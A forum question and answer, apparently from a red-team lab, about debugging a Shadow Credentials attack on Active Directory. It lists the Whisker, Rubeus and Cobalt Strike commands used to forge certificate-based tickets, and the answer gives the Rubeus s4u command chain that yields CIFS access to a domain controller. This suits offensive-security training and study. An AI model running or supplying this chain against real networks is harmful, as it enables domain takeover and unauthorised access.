Shadow Credentials attack with TGT and TGS

Question

I am trying to replicate Shadow Credentials attack in Active Directory environment. My initial approach was to:

1. Use Whisker to create a new certificate on behalf of DC (successful):

   Whisker.exe add /target:dc-2$
   

2. Use the newly created certificate with Rubeus and ask a new TGT:

   Rubeus.exe asktgt /user:dc$ /certificate:MIIJuAIBAzCCCXQ[snip cert] /password:"[certificate password]" /domain:[domain] /dc:dc-2.dev.cyberbotic.io /getcredentials /show /nowrap
   

3. Create a fake logon session (I'm using Coabalt Strike)

   make_token [DC admin user] FakePass
   

4. Use the TGT to create a new TGS for the CIFS service, that will allow me to access C$ and ADMIN$:

   Rubeus.exe asktgs /ticket:doIGajCCBmagAwI[snip TGT ticket...] /service:cifs/dc.domain.com,CIFS/dc.domain.com /nowrap /ptt
   

Now, in theory, I should be able to get access to C$, but every time I list the contents ls \\dc\c$, I keep getting:

[-] could not open \\dc-2\c$\*: 1326 - ERROR_LOGON_FAILURE

Now, my initial theory would be that, using a TGS would also require a valid login session from my side and because I use a fake login session, the machine would deny my list request. That would be easily bypassed by using the TGT directly, so I used the base64 ticket and saved it locally:

[System.IO.File]::WriteAllBytes("C:\Tickets\ticket.kirbi", [System.Convert]::FromBase64String("doIGajCCBmagAwI[snip TGT...]"))

Then I imported in my fake login session:

kerberos_ticket_use C:\Tickets\ticket.kirbi

Now, everytime I try to list DC contents, I get:

[-] could not open \\dc-2\c$\*: 5 - ERROR_ACCESS_DENIED

I know that I miss something in my knowledge, and that's why the attack is unsuccessful, but what do I miss?

UPDATE: I was able to find out why I got:

1326 - ERROR_LOGON_FAILURE

This is beause I need to use full FQDN name when listing contents of the target machine (dc.domain.com). Now I always get:

5 - ERROR_ACCESS_DENIED

Answer 1

The problem was in my knowledge, as I suspected. Thanks to this blog: Red Team Notes - Shadow Credentials I understood what I was doing wrong. The TGT obtained using the certificate cannot be used simply by injecting in a logon session. It must be used with a s4u process in order to obtain a TGS for our session. So after obtaining TGT, we must:

Rubeus.exe s4u /dc:{FQDN DC} /ticket:{TGT} /impersonateuser:{impersonated user} /ptt /self /service:host/{target machine} /altservice:cifs/{target machine}

This will make a request to get a TGS for HOST, then use that TGS to obtain a TGS for CIFS.